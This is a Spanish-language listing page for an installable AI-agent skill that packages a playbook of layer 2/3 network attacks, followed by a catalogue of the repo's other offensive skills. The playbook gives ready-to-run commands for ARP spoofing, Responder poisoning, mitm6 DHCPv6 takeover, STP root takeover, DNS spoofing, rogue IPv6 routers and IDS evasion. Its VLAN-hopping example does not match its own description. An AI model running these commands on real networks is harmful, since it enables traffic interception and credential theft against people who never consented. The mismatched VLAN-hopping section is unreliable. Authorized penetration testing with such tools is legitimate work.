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yaklang/network-protocol-attacks

Manual de ataques de protocolos de red. Útil para explotar protocolos de capa 2/3 como envenenamiento ARP, envenenamiento LLMNR/NBT-NS/mDNS, abuso de WPAD, ataques DHCPv6, salto de VLAN, manipulación STP, suplantación de DNS, ataques IPv6 y evasión de IDS/IPS.

¿Qué es network-protocol-attacks?

Este skill, denominado 'yaklang/network-protocol-attacks', es un completo manual de ataques a protocolos de red diseñado para explotar vulnerabilidades en las capas 2 y 3 del modelo OSI. Es especialmente útil para profesionales de seguridad ofensiva, pentesters y administradores de red que necesitan realizar pruebas de penetración o evaluar la postura de seguridad de una infraestructura. El skill cubre una amplia variedad de técnicas, incluyendo envenenamiento ARP, envenenamiento de LLMNR/NBT-NS/mDNS, abuso de WPAD, ataques DHCPv6, salto de VLAN, manipulación STP, suplantación de DNS, ataques IPv6 y evasión de sistemas de detección/prevención de intrusiones (IDS/IPS). Está diseñado para funcionar con herramientas como Yaklang, Bettercap, Responder, mitm6 y otras, ofreciendo guías paso a paso, comandos específicos y estrategias de mitigación. Su utilidad radica en la capacidad de automatizar y estandarizar ataques complejos, facilitando su ejecución en entornos controlados o durante auditorías de seguridad.

Compatible con~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/yaklang/hack-skills/tree/main/skills/network-protocol-attacks

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Documentación

¿Qué hace network-protocol-attacks?

Manual de ataques de protocolos de red. Útil para explotar protocolos de capa 2/3 como envenenamiento ARP, envenenamiento LLMNR/NBT-NS/mDNS, abuso de WPAD, ataques DHCPv6, salto de VLAN, manipulación STP, suplantación de DNS, ataques IPv6 y evasión de IDS/IPS.

Contenido

Envenenamiento ARP

Utiliza herramientas como arpspoof o bettercap para interceptar tráfico entre dos hosts. Ejemplo con Bettercap:

sudo bettercap -eval "set arp.spoof.targets 192.168.1.100; arp.spoof on"

Envenenamiento LLMNR/NBT-NS/mDNS

Usa Responder para envenenar consultas de nombres locales. Ejemplo:

sudo responder -I eth0 -wrf

Abuso de WPAD

Habilita la falsificación de WPAD con Responder:

sudo responder -I eth0 -wF

Ataques DHCPv6

Con mitm6, realiza ataques de suplantación de DHCPv6 para forzar a los clientes a usar un servidor DNS malicioso:

sudo mitm6 -d dominio.local

Salto de VLAN

Explota configuraciones incorrectas de VLAN mediante etiquetado doble (VLAN hopping). Ejemplo con macchanger y vconfig:

sudo vconfig add eth0 10
sudo ifconfig eth0.10 up

Manipulación STP

Manipula el protocolo STP para convertirse en el puente raíz y redirigir tráfico. Usa yersinia:

sudo yersinia stp -attack 1

Suplantación de DNS

Envenena respuestas DNS con ettercap o bettercap:

sudo bettercap -eval "set dns.spoof.domains example.com; dns.spoof on"

Ataques IPv6

Realiza ataques específicos de IPv6, como el enrutamiento falso con thc-ipv6:

sudo fake_router6 eth0

Evasión de IDS/IPS

Genera tráfico fragmentado o cifrado para evitar detección. Ejemplo con nmap:

nmap -f -D RND:10 -sS target_ip

Advertencia

Este skill es solo para fines educativos y de pruebas de seguridad autorizadas. El uso no autorizado de estas técnicas es ilegal. Asegúrate de contar con permiso explícito antes de ejecutar cualquier ataque.

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

yaklang/401-403-bypass-techniques

401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

yaklang/active-directory-acl-abuse

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

yaklang/active-directory-certificate-services

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

yaklang/active-directory-kerberos-attacks

Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.

yaklang/ai-ml-security

AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing, data privacy attacks (membership inference, model inversion), and autonomous agent security risks.

yaklang/android-pentesting-tricks

Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.

yaklang/anti-debugging-techniques

Anti-debugging detection and bypass playbook. Use when reversing protected binaries that detect debuggers via ptrace, PEB flags, timing checks, or signal/exception handlers on Linux and Windows.

yaklang/api-auth-and-jwt-abuse

API authentication and JWT abuse playbook. Use when testing bearer tokens, API keys, claim trust, header spoofing, rate limits, and API auth boundary weaknesses.

yaklang/api-authorization-and-bola

API authorization and BOLA testing playbook. Use when APIs expose object identifiers, nested resources, hidden writable fields, or weak function-level authorization.

yaklang/api-recon-and-docs

API reconnaissance and documentation review playbook. Use when discovering endpoints, schemas, versions, OpenAPI specs, hidden docs, and surface area for API testing.

yaklang/api-sec

Entry P1 category router for API security. Use when choosing between API recon, authorization, token abuse, and hidden-parameter workflows before any deeper API topic skill.

yaklang/arbitrary-write-to-rce

Arbitrary write to RCE playbook. Use when you have an arbitrary write primitive (from heap exploitation, format string, or OOB write) and need to convert it into code execution by targeting GOT, hooks, _IO_FILE vtable, exit_funcs, TLS_dtor_list, modprobe_path, .fini_array, or C++ vtables.

yaklang/authbypass-authentication-flaws

Authentication bypass testing playbook. Use when assessing login flows, password reset logic, account recovery, MFA bypass, token predictability, brute-force resistance, and session boundary flaws.

yaklang/auth-sec

Entry P1 category router for authentication and authorization. Use when testing login flows, sessions, object authorization, JWT, OAuth, CORS, CSRF, and enterprise SSO weaknesses before any deeper auth topic skill.

yaklang/binary-protection-bypass

Binary protection bypass playbook. Use when identifying and bypassing ASLR, PIE, NX/DEP, stack canary, RELRO, FORTIFY_SOURCE, CET, and MTE protections in ELF binaries to enable exploitation.

yaklang/browser-exploitation-v8

Browser and V8 exploitation playbook. Use when exploiting JavaScript engine vulnerabilities including JIT type confusion, incorrect bounds elimination, and V8 sandbox bypass to achieve renderer RCE and sandbox escape in Chrome/Chromium.

yaklang/business-logic-vuln

Entry P1 category router for business logic testing. Use when workflow abuse, race conditions, pricing flaws, or multi-step state attacks matter more than parser-level input injection.

yaklang/business-logic-vulnerabilities

Business logic vulnerability playbook. Use when reasoning about workflows, race conditions, price manipulation, coupon abuse, state machines, and multi-step authorization gaps.

yaklang/classical-cipher-analysis

Classical cipher analysis playbook. Use when encountering substitution ciphers, Vigenere, transposition, XOR, or encoded text in CTF challenges that requires frequency analysis, Kasiski examination, or known-plaintext cryptanalysis.

yaklang/clickjacking

Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive actions.

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